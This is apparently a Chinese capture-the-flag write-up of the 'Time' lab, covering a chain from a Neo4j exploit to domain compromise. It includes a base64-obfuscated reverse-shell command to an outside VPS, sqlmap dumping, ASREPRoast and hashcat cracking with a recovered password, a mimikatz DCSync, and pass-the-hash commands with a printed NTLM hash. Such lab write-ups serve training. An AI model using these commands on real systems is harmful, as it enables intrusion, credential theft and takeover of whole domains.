春秋云镜Time

flag1

fscan扫一下./fscan.exe -h 39.99.225.0 -p 1-65535

扫出来有个Neo4j Browser,存在nday(https://github.com/zwjjustdoit/CVE-2021-34371.jar),弹个shell到自己vps上,用户目录直接拿flag

1
java -jar .\rhino_gadget.jar rmi://39.99.128.12:1337 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUueHgueHgueHgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" 

image-20260107205245814

flag2

从vps上下载相关工具开始打内网

扫一下内网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
172.22.6.25:135 open
172.22.6.12:139 open
172.22.6.12:135 open
172.22.6.38:80 open
172.22.6.38:22 open
172.22.6.36:22 open
172.22.6.12:88 open
172.22.6.25:445 open
172.22.6.12:445 open
172.22.6.25:139 open
172.22.6.36:7687 open
[*] alive ports len is: 11
start vulscan
[*] NetInfo
[*]172.22.6.25
[->]WIN2019
[->]172.22.6.25
[*] NetInfo
[*]172.22.6.12
[->]DC-PROGAME
[->]172.22.6.12
[*] NetBios 172.22.6.25 XIAORANG\WIN2019
[*] OsInfo 172.22.6.12 (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.6.12 [+] DC:DC-PROGAME.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.6.38 code:200 len:1531 title:后台登录
[*] WebTitle https://172.22.6.36:7687 code:400 len:50 title:None
1
2
3
4
172.22.6.38 web机器,可以后台登录?
172.22.6.36 已经被控
172.22.6.25 XIAORANG\WIN2019
172.22.6.12 DC-PROGAME.xiaorang.lab

搭建个隧道看看38,认真的?万能密码直接就登录成功,那么sqlmap一把梭哈

burpsuite本身就可以建立socks5代理

image-20260107210729433

然后sqlmap一把梭(注意一下是socks5协议)

1
sqlmap.py -r "sql.txt" --proxy "socks5://ip:port" --dump

image-20260107212159501

得到flag2和一堆用户

flag3&flag4

写个脚本把用户名提取出来保存为user.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import re

# 打开原始数据文件
with open('1.txt', 'r') as file:
data = file.readlines()

# 提取指定字符串
users = []
for line in data:
match = re.search(r'(\w+)@xiaorang.lab', line)
if match:
username = match.group(1)
users.append(username)

# 保存提取后的字符串到 user.txt
with open('user.txt', 'w') as file:
for user in users:
file.write(user + '\n')

利用获取到的用户进行ASREPRoast攻击

ASREPRoast攻击是一种离线爆破用户账号的攻击方式,它利用了Kerberos预身份验证的局限性。攻击者需要用户账号设置“不要求Kerberos预身份验证”选项,而该选项默认是没有勾选的。当攻击者勾选了该选项后,域控不会进行任何验证,直接返回用户Hash加密的Session Key。攻击者可以使用这些Session Key进行离线破解,如果字典足够强大,就能破解得到该指定用户的明文密码。

使用指定用户向域控制器的Kerberos 88端口请求票据,此时域控不会进行任何验证就将TGT和该用户Hash加密的Login Session Key 返回。进行离线破解,得到账户密码

1
2
3
4
5
6
7
8
9
10
11
AS-REP

KDC接受到请求后,会先通过AD活动目录查询该用户的密码Hash,然后AS会使用Client_hash对请求包中的

Authenticator进行解密,解密成功且时间戳范围在五分钟内则返回用krbtgt用户(它是 Windows 域的内置服务账

户,密码由系统随机生成且无法手动登录,唯一作用是加密 TGT)hash加密的TGT票据,TGT里面包含PAC (特权属性证

书) ,PAC包含Client的sid、Client所在的组。除此之外AS会生成一个临时秘钥Login session key,并使用用

户(之前发请求那个用户)NTLM-Hash加密Login session key作为响应包的一部分内容

简单来说问题发生在Kerberos认证的AS-REP阶段,正常它是会对AS-REQ请求进行验证,但是这里没有验证造成了安全漏洞

1
proxychains4 impacket-GetNPUsers -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab/

拿到

1
$krb5asrep$23$zhangxin@XIAORANG.LAB:8daf09967e221dc17252826aa139c286$656611f099399fde29fa03f432c21f06184ffdd14850e4707a694267aac71b7eaaa09f79540bb2e4fcbfb2647c4b7a8391116df720373e9229c730f2157b8b8df6509a456c2af34ad0529d11331b1b5ef60626764302353ae458249c1c8e75692f9bd1ea909b8bd95c3b028757d1c3262de05678284e09c449d0fc4e51ffe96c5c9409da44ad49e025494b10551b6de744d38741a40dc3980a357cfd1c6010672fa7b653e64932b51bc93ccb0552c2eddd1b0d13ea842c52dacaddafab9ec64b15eb36b9fa907418493005c014a40db6a3e96c4b1cbfb4c2a627eb4a575089b0426af9a70895290ec0fdd476

利用hashcat进行破解

1
2
3
4
5
hashcat -a 0 -m 18200 --force hash.txt rockyou.txt

hashcat -a 0 -m 18200 --force hash.txt rockyou.txt --show
拿到密码:strawberry
账号就是:zhangxin@XIAORANG.LAB

rdp试一下172.22.6.25成功了,但是没权限啊,太低了权限

query user看看还有谁登录

img

发现yuxuan,用户与计算机时进行会话时,凭据会保留在内存中,说明yuxuan这个用户登录过WIN2019,很多用户习惯将计算机设置自动登录,这样就可以查询注册表来获取自动登录的用户名和密码了。

1
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

image-20260107233812932

使用这个用户重新去登录一下,然后使用工具SharpHound进行数据采集

1
SharpHound.exe -c all

我之前采集的是zhangxin,后面搞烦了,看wp打好多都不明所以然,自己盲打就困难。直接拿师傅们的图

image-20260107231729501

发现这个用户滥用了SID历史功能

SIDHistory是一个为支持域迁移方案而设置的属性,当一个对象从一个域迁移到另一个域时,会在新域创建一个新的SID作为该对象的objectSid,在之前域中的SID会添加到该对象的SIDHistory属性中,此时该对象将保留在原来域的SID对应的访问权限

也就是说该用户在域迁移后,仍拥有前域的权限。那么去dump hash

1
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"

image-20260107232346779

直接把域管理员哈希dump了,所以相当于已经拿下域控了,接下来就是PTH

1
2
3
proxychains4 impacket-wmiexec  XIAORANG/administrator@172.22.6.25   -hashes :04d93ffd6f5f6e4490e0de23f240a5e9

proxychains4 impacket-wmiexec XIAORANG/administrator@172.22.6.12 -hashes :04d93ffd6f5f6e4490e0de23f240a5e9

这里不知道是我开着梯子还是什么鬼原因,导致一开始一直time out后面把梯子关了,重启了一下kali就好了

1
2
3
分别拿flag
type C:\Users\Adminstrator\flag\flag03.txt
type C:\Users\Adminstrator\flag\flag04.txt